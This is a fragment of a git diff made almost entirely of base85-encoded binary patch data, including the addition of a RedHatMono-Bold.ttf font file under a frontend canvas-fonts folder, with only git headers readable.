zz<XXFQyboKjZCG0$8|CyDJVf6(Ijc1usnoU)pgaDqJ}6or%Z2{E5a5E8w`9Wsj34@ z&gu%~&nzNJ(IUUe+mxkzK?%aU2CHg%)?H9n7|kA6_FRb45qp(7p0U@cgxCljhg-dU zRAkFFqasC2iZoKS>aJ?jAxPiEJ+3epoH^sksNzyAD4^h^cvUg^bo%vZ6tJ0Sy^JEA zaax^g<fi;peo3BJoK%wKmo-R=b@k~<6*gP<%;JGrB)tmm%8Vfi^u3Bb8sc7;r&ct( zRp_xjX<EhbSle?2rE%^gMt=Bs5)oEzqbO8=?i&_?P*mw7W2&KNxe|<uBm2rD<r4@= zeIhC~-nW_jiPWa$5wW^i6r1W?;g1!35^Mw%u|tC3x*ML_@QHwcaWRp}sAa6qbG*>< z@HkPOr??>ztBP4<1a^jz?V?Tn!;|4WSEE&hEOm@n?MnlaYeXlaR&~dO1c~?|=(lk4 zv}zWS``VNM+A)e~3V^nYB$BoYm`+TwSa3B=Rco#zvX$y^*AZXRRYZ40JPC|lY`At9 ztH3)VJzfFc5pM;yg89~K(wL;)LsamF{0<bJjuk---`Z<YSb*$^?56zocoqnV*F)b> zUn2!DctA99ZTz~Pvu1a|_Sgbgk`8={Bd$tc4R}YC(-h$C@!l$6W2Yx1{uA&p#Yw|g z+CEa+rXcMWFg;0u=pHxy4;3D?3C@1{PG~~11>CiXGjdIf^M^Y05W*HnvHu<e+4w+h zM~>K;_Wz;Jm@w~)bq%qGkJSe_o!ylNEjT(A$AAGYh%a2|jK13y*LF^ezxy<9mll9W z-XGB8`r^uI_Kavfj40QfGtzM4DQ3^_%o$IUqIF^wR$zf14<!BKwyNN!;mfo&ksfYZ z-LcBBNz>#SuFCv2(W$ds=ZYEP#yM1Z!unOWiaa&okXEM>-#=cr6|HEuo<nOR4&3MD zJMf(dLB(jN(6#njbQLpBk91w1?+L4w1ett$xuSP5Lc37aZ46TI`j<B3e6Jy=4Kk4R zR6wC9&1kaHH0`faG6>;B+JGhrCkapN;u5i$S6;3RW+Ck(H~R)QD&v^cOO4=^#22q- z2tH`HLd8{?*BF4uY67opd%&_0=_QSpO21#tN1!SYkL2v3!1YAa%c2U<L({C$@FQJo z=Y(crd)z>=OEtDV?4yvjX|r{s9TBP+#VA4*{vlZ0YGmHkV^l-cQSI8Hs^2(F{i{W+ z@(}_F*VfXS!qxYQv@`rXHd_9}O`be$B9R(2ff9D0v;EoE*Zy`k;kC)o!8*JuHF`O) z(kQYO@<9IJt5ZY_*dFQdO1{UY7b^Nd>GfLC>sX7vo?a)<EWdVJpU;Q&d$sn#NlVsh zy1h{Bbcz-c(N}MoV@sUp%|VC6HaQQREhlIrCE57Yw<oaP(H$qI)2cn~Bn<b7ybdPk z!QIWhdcS_nXl$u(W@hGq&c>J%S8X*~jFCs$tZ5vY(P}%ERN-}QT>3!~8L|MhxB*0m zC>CJ>@K<8HG1n%4m3wrzDw8fj-e*-{?y=r{g$fU|4}4MX3RZNWxv{TR4EzE!8t@U= z;0+H5P|MAwT~#(4_EojXB3*eguI)R4UvS)uFaGoniqmKWZyLTIAaGM40HV83ZMxoO z)8BNHBMQAZZsW$d_gw?g5o6v8NP$?x*1@kL*3a8{;;?<I%H2~$<kF4M{6iAHlYtLM z!4IWCAb+L1->FXD4uIm1oaTVQ=-(OL3P2$5DSC{eu2Atp#B@<*)5xMgq&j2AVXG)_ zQ9XF8PQL(iTHz2~DBk)EZ+(c~$JtK`EQ;ZF&Rzj^xSPTf6*#O6319hOjJ)VddGe*Y zm9Nvg7gws@qp1>Zml0h>yWbG+KrL|_n9B{0d7u~7>ll#Hy5CTab_8^#d1|CKPbI!H z0S1{H#bN^Ktp|)Q`ReQx4F?eEBSqE+0QcpvRvdIBb%hpphJ6Au3fqL^iv*0-@soIq zg`$0RdZi7J9NM3E1hi9Z^maS+Qj}51xlu1qWq7y!dLJv}oY=d-Q$a_6qJ(qrf+{y+ z`$Clhz`2J(SE`nVl~bth`3n_v)OP(jw#~b3|GS{r@veISPitC<JW_?~jtB)7{Dfjp zgaejybHr)^$gx9010vBnEFTTZc%wa_8pR=z@1AxQj>dEt<fWa3r^GBcg!WYE9>tr^ z2zf;P(QI1mtO!B@=k5yK-88pFd)57lT{QTi+T4XIsa0nxRLfr@+}ft@-+=TwcX0S> zWkrQXD(tNB9ksY(-732z9kn`$LbV=tsdcfVQ~}!e2RPiHG={TI2fm`t6!$u%S|`pl zGf--E(304jDm+r8Qc}K&e7@9ozp|f2U2e3bu~AgxU*v4pk0QDeJJ$qsydR2{6JID= z10CrQT)!l26ROAz8-NW}qj2+A+;6zSCJE?MKl`uHVPbb*686Cqaw=gG<>4dpDyb<9 ztI*F5TPe21Ovep>QJ#wXb=cxSy@x%a;10!;t;GSMzqOsAmlYmy><-mU7M!AtF{+Q* z!<q;nV1UuKM|=Pv?)zUbxG21%?ns5CVZ6g+7#mtO4$x4Le^oovfrR{xvrkAyl>ImG zF?qm5gXV(HK7!|tk8E>7bkYR8rDDZ(ip{U#G+(p$o%?1%8R!7&d6ZK8@9OyLKDMc| z2N!&Jkpj&fC6Gvg*IU551*3w;7COuy7l=~F7V<!?g|w=J{k<5q)b*y0u|mQR>tUC# z+;-+n=k^iZ(hBmyl9$wuG485sSUQY(?e;X)pE=WRjpZOlLJdD9l8i#OJM2JiXWo0l zw7_kw?1=P!ZQyg@uB^YIJ`bxzZX;>CR>*I;Rn@LVmmT%cdKA%Ji;#l_)Ujn08Ipv= zJ+)~w$&nBKbZpM~1q&7+URLP^Z6y&kbZiT0bE=_TE8f>&x5NK80t~Ls!Jo^}Gs><~ zS_Kt*{wZ?aWPp?ikFIoCgtq=|_lN(ukK-7Uu&~?Dzb?Hg4g>g@=l%_QlAk&wzyB&| zZbS4#Fut8c-Xw}~RpKlnv6!o^`%|a^&U{c-L~O~4zH}-JPopgc&lDGrMX19oeQ6tJ zZP3WRedjB?<bEu=vv-j{H6b^Dr2MLhHf84KtDEM2u$l)>NW?TrIi+DKdV=<QLrTf3 zN2|$hJHBa{^swuD5eVhJ^ZR45Rt6~@0IQ)hS#R#U-Gn#VvEywp5!!9no1NCPXdKmc zpu-345hKSy<pHh9ijs8Qk^Wb`D)JJ}^(w^Ig=i;UL<j6N4e8vJ_q9+Tt~j<m<J2BB z3)E-_uZBlVHMeNTP4k~=n$s22k2P-wxQtH_RD><*PQ_5wJ?tQ4q^dPt@nm)llGuxn z9!{nC+;!~67oBvC9r+`u+pl9+K2IZV5W5)Bj(D8db*+7j#A8?6%h-h&<*NG`FA1r1 zwleejTB$l@uF=qWs&RaMZKWwE+S?7<zprR7R>-cgZ&NkJuh!&HrS5CBnkuA|7IMW& z3m6+CE!Z5|;cx{y{|mwK+W89|LYCfa=<RmkLZr)C46cz&MFEpKp1jbr-Qf&ImuM#1 z!I~>}u);?qa1+6c+QwDdH6r%3dWhd&JviERFKf28$5nDgsDGy%w|%XS{jM(I{Irws zM}Apw|Ml^OCS3I{WN3FJMVKnM*T)xRx_~bd!55|1!56B&*snFY-L~EvRZ+i&G$^)G z81$TS9tK&Iv_gS33WwShM`JvzC`#pg4A&V+j=fOb9Sj}mzCYM8D^WKJ#}EwH-NNrV zG%fTNzZI1Cg$Lb%L6WMw=x7dJu4zC8g;ScwqTR`#i`~f`>UXq2tv|MX{rq2=epXJx zAR3UTMcsWuRKO5TXM-$SWLUI_&Igez<7nC$$M3^%!&v}o{|dDua$jjXO2E0J4D+-{ z`m2%}lS#i~g|<(+F1n&3x=h_GO*09cG6HW*u;!O{Y?P**V?OQn7PuTc($(EZ(=jG_ zvgU3fD+K)XvKEU)R)_nZ?Dn;|Y|)<JUJWh2yG4P_aH&OU%L=pw)F8{my)ES9acO{b z=1fPV=P7$b3EPnh91qwM92XP^D=`jkXf+WW1s{rHhjrQ!A9p{I3uY(W4AYKC?sV9u z8f9rlM=`e@DBI5BcEMWy)vcBegndw}glrt*5!z2LPPypV5)b>ZoafV2y2sddY)*dr z2wR0)c4+l=Y?X)lTv~R(y}}MH8`!=+XFoY&6WlpRv%OvVsGdf7vgtdv=LIsoDTbA} zNSSNHqW91W7!hL5;DURr2DSs%X9=oUjT5H=k?=!4U6;-%=Glq26fkepaAnzSsF!k9 z5L_K!PF(3XPgydX<9cooAm?EGqf--TJpz2>=0|iFS1`ZBt*FzS1%$BXUUU@&$Uzw9 zPhUZ|3NK&#lZLdlCQk<rsdmLx&K;7p)g^Hr11PPo^t+$Ppu%r|FvCLCWNCLkgR~g~ z5?O*Y9{dKJ{YW2cJ1GLWYKLhD6zNnbj&q8zpF$}w&TIfqu`cJrTqP<^g}G1PF|^AW zP3Jkf>#V3v><q=ek1b-~2S!j0Umdw)DJ<8q`=f>;>73Xqd&$M#M}CJG{Q{k*D~W9* zE+;HK58hNyS<-DM8WC5IL>q+{DhX#Y(Fqcwl=Bpc9Vn!pBq7ZdHYb(313qI%DJ(;9 z^2fQJ=G2g{)l{T-nw7e0ou#NQQOa3YNxoK7C<-AS1~u)`#&p6DH6aE|30K+eJUWUe zC_}qe<#yGBL**xl_Q57_v`;O6gX5r#-;~l?-7`gLIwd5ZS75~it1pq_Bpn)=5%r8y zh2pRrgR$8ss&_?ob<N=374@@gg;V-;?CR1=oUpSxRxZTxLeL^;H+KAy?1a!9P_qnN z_N9tVDQ<gH`OP3YnF<{?sM1zsFIeH&!GLxtI~YvL*z`Zy!$4Z=f3%MQd!i8+c0HRJ z-U5#}Jub8hEd}SZU&lT)Wg8k1LzhQe(WdrDvJM>n#ooo(iiQi?iZ-Z-ADr~t8tg>F z0gE#2Go<Zk18qZc?;XGA^MRJZwtHwh+DO`t)<?ek;fA);eJ+drjDlv87igx$0#m%^ ze~Shdf^f}<;55SE8d1R#G(JU66so7wVP<kYGh&Bh;2N{Vt-_kVjyb_!&uSJb&5jGz zGk)MpxW;VJ;o7{~d{Ox7uRdFB+o;vaS%?(O^FenX)Tk)RR&}DQXj->7G}+EqP4%^k zjgHkzsVnyb6!_@f*Y?xhj38;MX7pe@43aY05OHFbIL#m^U&<6(B}ig8m3W8nn0h$v zVUoM`f%R~=(;k%55LTlnu|v<X>P9PWlf-IU?6??Zr43^#m<(7Lc?~RQnw7Y(a`FIo z(^xWUrZAlz5{#Xnw5BN5Hx)aBPKXdD3kE50mf}s*VvRxp-{Bn$HfZ}f_;_X0JMa7+ zMh?{_C|yyub_g9O&L@UH$y?|+ZJVERYBz212#22IPxP*+-7p=KsHKls8pkZIeL1?K zh#LpZs2+e*N8gN#lkcCjaJ2kk*%a_Qt=5dywJIxLzzM7ADUfPD_8S8aEJGWlH{p-G za+c27!){e+4bDKJ(Lvp3A08Hob8+EVP<B1R&&i*uucRYYz4;<}i~jUyQzq8Y5h&81 zdENWIb$hHnZvJjWsgiqKK>U$^jdLR);UsH-7VjmFvQnHC790dgN*tB(Wh17IDb<fC z@7H5P?W!R$^*a~ZMpliq%^EPtCOwu_l2@D=o|<8)$ibJLt@(qhMw>@wTQY`amyTA> zfSiCDnlazQswl00G}Ec2r14>Iu*Y>bh`z&U90~$xz0qJOGTY3wv?^V(neh+J#yInX zm^-6f`!i0TyxJM3%4r9`pu#YUy)>W>@}r6_G$==?V3ed?n{cjv^TU!V---sF<3DoC z#z|h@BbF{1<_A{L*R79hzJa&Nf8X%ThWN#M7nA1zy(gUo++fis3Md?aL^a?D*I;-Z z6`&sqVBO^>3<h4IS7BZep!g&57_6B6op*1`5>W9C0YIGysF>G*R<6vYo_+VF;UHfG z-Wt7F4@Psc6diyEF4Hhe)g1+0NtVD-zF4_Z&vxa-DH~H8Tn~8F9o<;uy1Yve^!QV& zyBAsnc)05kZ=5AfM`(WUrcd}{d3VBC`K#{S=PzB8s#^}Vg*+|gwS6PeaE`gv9w`wm zLr=qMBND;(4ma}D4-Nbd!v_>BiUUF0LaI<dxLoH0c4;5Ozu7H5-ZdazZ8x7TYJiN> z-d-#KklWno*xUR41^>!zJ8Jw!u520yv*G94PTh(X`iaXQSx)>&^7y}bGBUxZlZNTU zH6iVaq$^U6RvYbmbdw}I&KHFCj<nEerU>&fg!^*?XkN$bvJ%>Ke3ksHw6$u5^l4lC zimEDIOk1^}F8-*Isjk}1snr}Bjov2u(y38c3BU{}ROO9ej=+7K19wdSdy;&G@8}`l zqL<hA<af$fy8jM7rBk}!kqhV?V3A(pJ>?$&jiSfDgKmN+nbYC%+JSf??2ZJ>B4hyv zZCh}_A-}o2qHf2mzH<^{<`hp{bJOHxy{V*R(!fsXn<h%NqccLbj+wqK&y-tGw)*J0 z*uga=8A;}X@q{%=+zw!kwQX96rFP<k;2nmxUlI)1P)5q)L|Z@P1El9wevo$P9s)IC znY#N2ydCAaK6gm2bCU&Ms)Ez4vRK6qi=%E}6)bQb@&D+|WTLkYJ&T^l-Vgkbuf;Cx zE<Y+iuE!y@Tsqn&&RzOHKRFrAz5a8g$(Qmo&M^N=8QDFo@r8Fh1EW*>RaLD=aO}Pq zdr9#jmGO5C@+@&KH8HlUT++&`V>QNk%5vGYPFbdr?-z`G*E~=BdH3_SJ)I{mc%IX@ zRA47)epkM&-ATmgCuxfE4mwHbIcbVhvk{9qG#dFmzSPC(d=bH-c#G&fyskJ;h`f@@ z@h9Oa&~dar7z$pc@qpjyyZOR}+x!g3F5c#w>g#vYv13R4d~bUGL{!1+JnYr{{MY3x zuN91w8lSTtlN#GLJtrS0N&_=atDDfCZs!i~|F7o`lir=Hl<dJ(y$ih}jcog!6z?#E zy$Hpdxq|8`z@I<yHZ&;4Sn-Jnd@2H6tL#xKFwEUE*I<aMDG0b>HUIsWD<c;!90{uM z9hTyosXWQ(N|)N8hUq_PW!rhf*ZQxCFG$NHiMN5<>v$U@y1-3+n^d=SsBIUONOU4d z<yI)81HWI?p<wA4do?OY-HS2z)+vS_etu<(7h#N)KUn|F257(!<QtdJ=&k7bw*W(@ zjBzv=p_%F`s|JT3F~~~{Zm@(!BEa!S6<~@Thv7uElRH2uYX`xtw9uZ|Zy_wZP=#xh zgWGMG!_((EjEPX2SN4AK&s{-v6Q_K3S}$+mi@fR7{7UK1&*fLX!KwMX=f~+|Z-1+A z_dFqQ_Mg0Z0irlVN|2O3JE0trj%{YfVC|grGQ%_8U+}(Pe6}m-rVHJl*WLS;{QjGl zcoGOB57Wo)!AA&Q{^s%J_;x^`@*x6(ZbZkGp|#>9a$*e&OjdBd*-Alq#Oz$(OaIR# zE_EKeWBY`V&LdYXBf-Hb<Xvw&xfy5hKDgrGGJ=HJxg=rD_nPNGOOl5(F31JvX+M{; z|N0<g92SffF%e{?<KRnWBQ_nWStQZPeeg>Z@o~xl1aDMt#9r3P8!|#max+_7FUHMp z5oZqEjl*oWRSumyD9#ieIyi2~sC)bi2CAH65~rF9`ij+M40=>WC>b26GeynIMyHsP zQf*_4Mvt{xvx<weEw*mmlldvj_->ubXN|*wdnGl4cCAV>r7DucL-<LDbztHl59?py z56KhpkhtFd3b!L3L9-5Ug1N8`LUo2H<C||9V&(F`9pY7aqxjSE(9wB${3UsdLgoK@ zYIICs<%SNYMq|^tb_j#ZsnMh%N1*k>atPPr{fGsyHHvrFZ|RP24fpzo{vW-#@1gEn z_^GX1aU$}U_=iJYx01}q!&)ff=g5m6f{qcS(~h5a8ViE!&*a5~r1zcNcT7gmz-eV= zIo-lyl9OX{BlP^7tzS?7PGjax99WQ^J9Ngdm{e<ONgrZOVa1&T$=s|2el9^i9-Dv= z1Bz$eEZ>OyM!uQoLsr>2924&^qK6%JfqQJKqx>)K)`A<fH&u&4!=edv5@&5W=v3x7 zE1I9$tsWJv>UQ)jtOJt~C*|s_%0avra1bxe{mStDnrOjsWYwbIfn*>LF6(~gY`p%p zvk->){5H9W-y+X}t+r65!EvR8kWhnIW;5{JdcAxBhY)9z03A5MPqir=@{8F0Eym{% z@ntO9kJ??0Y)KWzJO@nK$d4;AEWAG*^t}17a?rCv@uyK6&A=U2z%0G|j-IOF`*5@_ z(V6xYYtoL>8a<u{UDol8cF(6l(+c}f{OmPPX^;7@r?e}y-wJMVwF<UAs(+N9jD_Gm zgy|UG!Fs_zmG+TUKqs{Ff6A}LRsJpUWo-IwTl6ZpshZzI<4USMAK#i;sM!P*jjpI4 z$f{71+84ii^H9Ykz!!w{-qSYRGR;@-SAE;&X?}jASFRlGr}r7Xc*$sK;r<OLHoo}c zrsrE?oA)*GU2^Tx{Y``u5W7$5Vb`;jzrFg|%CH0YUk;uSx`V6%euus!R-UcrbgIw9 z6;=34Cn3}B6&wlP!4AObFT@+E`m*{`eL~29RG)rRxOLNp-173=4RX;(`V{pWAySM| zm+QDL#mHIuXYe0YLVUsZ30Z*^fYY1F3J{}}Vlt2sU@6l-i~j~A7*Z=hIFdF*!LgzS zvH=`a4mL(AD%cp+lwB}(eBtm3O_`a4N;3GVUE`OG<NJ30P*OES)#Ce5ULF5QN}PQa zs>0y6BqYc$=@meF6%IIBfd%aiP^tz&1={$p^|%J5tQ`P>h*DV5hA)7N5jkno#(SD4 z(W#X9UX<dCvE9S$lJcE_nf{f^mj@Qz7=AFOOQ$j7a|3i_tvS;=v9FM`U!-RsXWHl= zZlcj&8v`*kA!>=X@SDr@3#5%_HnmLk8@@7fF@JJ@Q`3H^tTvyBs*M|8*gUKB06)Bp zcJ>P$ff-aA+9*bSD+c@Cn1Wf1zQ#Trd<}r6*+t_D3-pHhiH-f@>7?0%<u{I#i+1h0 zx0^UtR(RuSN91DAoKE$FXwj+$E!wE7oLXF+BzDHV2sd1bhk;4zN5>(wJ$aS!3G!#b zIolXrV85#I0h)Kt=;pbLT5mXT08YAvH6^`A)NH6VNCV<FZHl`z38&zHh{cH!aNHG7 zukHuO-2k<hF~NkErjdo_?<V1`3w}7^<y3Mw5<j1mHxfr{x(U6ClX@xk#}-Z>9iwhl zza;^G8z1s#_>GGy69%8(gfn1j2Z_%~NM~aDPNYvrpbMx^o5ytOA|U>P!@&RBsq_1; z5}tB(4>a{{Ir_Fm_<u=*qhaKQTkihF1aXFe_+kR}9%dn0-}&PGFmzR4J$a3-)&}~> z0znPH7Z%O{s)*HB)`cj}g31N-t}uA`!h&+D+fZ<s!n>lkTtpjw1v*m{29`0t_sCzP z3dW2pv_4nO3%iko)8`tZ6d`Xbtt8vZA)OM&JJnC;0*-nx+@$FXUYF2~PWv^>7$XxR zVXb9B&T-~1?<D`sPwk9V;0etuI1C!7J%_0-IskU?mZ2SE!A;kWr<%Z1!c#}fDEL&O zW>d9+r;;7^f^=fze9dAYTM#3Xbm(gSIU1o3x%=lV+IS^t8*=agQOCGNHpU+QB&dX* zC0$6Pl^7ki>mQ24B6unka8Z>qIDi|;W*V!j5F<X35pq^<_{N}kvZ`09Z-huaT;G_j z-=83a<kXBc;1B0oIW%~?wQ_up0B68>S|}ffvtX{iN=|&|Tq74FL%TI{z-_-k9-tgA z<M#Cetd0|`YvHI9%U+&vw4mqyU*YK60Y_R~Mi+F%5ppSF4z^(Q6#L)WQPR0E?g`W3 z5ZtR^%6}(m24^bttkK}N{|<zv2ijAWbV3J=^8`%Sm;;y78<kGi0uCCeSDfqj%9n$j zu?Cpmflse~j*MU+Pk{#7X+l>EGXU?>+3eG~^KAC%^i3miHak|S@Y}~OzkMucVRr|e z+s;{yWMijwX^2f=p%5UkKXW~8y_6nXv`B2Oq_?7^T($(?Wu>>s!$PC|Xz|w31q&Q+ zh1v7i0?cCZ7CgbqTO;VL!82znFG*A%?<49XznWHKq;?^yUglPRKL;L=6JYzZz=KL_ zb);w)7pb69y0x)URM}6>70JkD-ywp=k7j}n3>~FkbCe!3V}?>#%~jp78e=r+8X89t zE<h$9U%k<=5&!d8`7@5W+F^MF(Tj8qy$xyB-nLMH0dzMx_?1#rZlhW<?(T#?|4g`> z$~FMU*ZDA7Q^md}@=G^VMn`-%B{L!loLy%Boj<{BxDq2;gldhDMN(EgytstE0Zad| z$&PjdcvVQw?+B+e3!S_{5n_sQrJaGVxI)O>(!M3^eByY=gfGb^Ui0h1(#Uo{52g># zUh8YaZL?fIMJ%=8^CE(JAv{T(DzAOHpv>iK1@s2aoo82+H<VN7Q^H(Nn#UX1e<0Q^ z(9_zNDuR_6CDA|Q|EcS2LZXVII6n7|F$)D3rbf)yD~3S=gBfO_xe24mw-AIvA`qGx zNZOjHEk$!7MN2W<Ni<OA2e=YMqnK6`V=e{?qQXV!zS+F#f6kdV?><wQ8JNYr_niBE z&pqe<_N{c9af$oIVlk|H2$^`FbFK@&qnFdA&Z2jSr--*JVt)~2I#>Ch<6)9K4l0#5 zgD%QrFf!`FJdVSotT*mUm(gByfJ=3UaFh*MAqyKz{Q9m;%a0$n-TU#$Qai1V9lW5P zwK|K|-mkF-kBHr?YyHt1ub)J^)A7i}D_ouuy_ftp5QEinz0n_t@`}EBx+ipyyN|?- zso)ELbH*7gcT3){R_kWV)dMlL=|yc}6}qZE>!+^06DC|d$3|ASWM>e^dKy0PQJb2% z6q}sLjYr2-MTL)!oZkoEzJFEW%T8S>Y(vS;u?r^5D)tPx!%q09FtBy-{!}<Ien!k+ z@Kju8%n9LQGK7nnzjHIy_`|gw_=7Pz%wtrr;&?g^ZOdQ8gwE#ecOUG;&~U+C`#6-e z)p0Bz$>S5t<wUj>P+^xaPRU*(Tv+m9^4PF_OojL<gjlDF`Ia;?QwjgoO~njYp~dQ@ z?I@98oohTxx5JD2ZhcE;)+<7a?j<J?HzXB3egH~+0UHf9r93uT2HPS$>q~x3otUuj zz;BsRX{C4}+doqBh-q(`na21u6(a8@iMbntp8|XA^3lo6E5mQ|jl>T*r$b?t8M)M+ zV<{%N5KCFsGi0ffSW3S{SP;8ZIa_E5B&4x6LzoRG$x)TiPv6!HI3<zEj1F>GH2irr z^<>#}A7pd>AQ$4IxQY*17hwDJ^curvnK?+Ve_5eO~O+rEH;U7E^UqII9@--svF> F)<4m^GAIB5 literal 0 HcmV?d00001 diff --git a/skills/frontend-dev/canvas-fonts/RedHatMono-Bold.ttf b/skills/frontend-dev/canvas-fonts/RedHatMono-Bold.ttf new file mode 100644 index 0000000000000000000000000000000000000000..a6e3cf157ad71c0620620c9da48a8c8d0ca26cdf GIT binary patch literal 34420 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 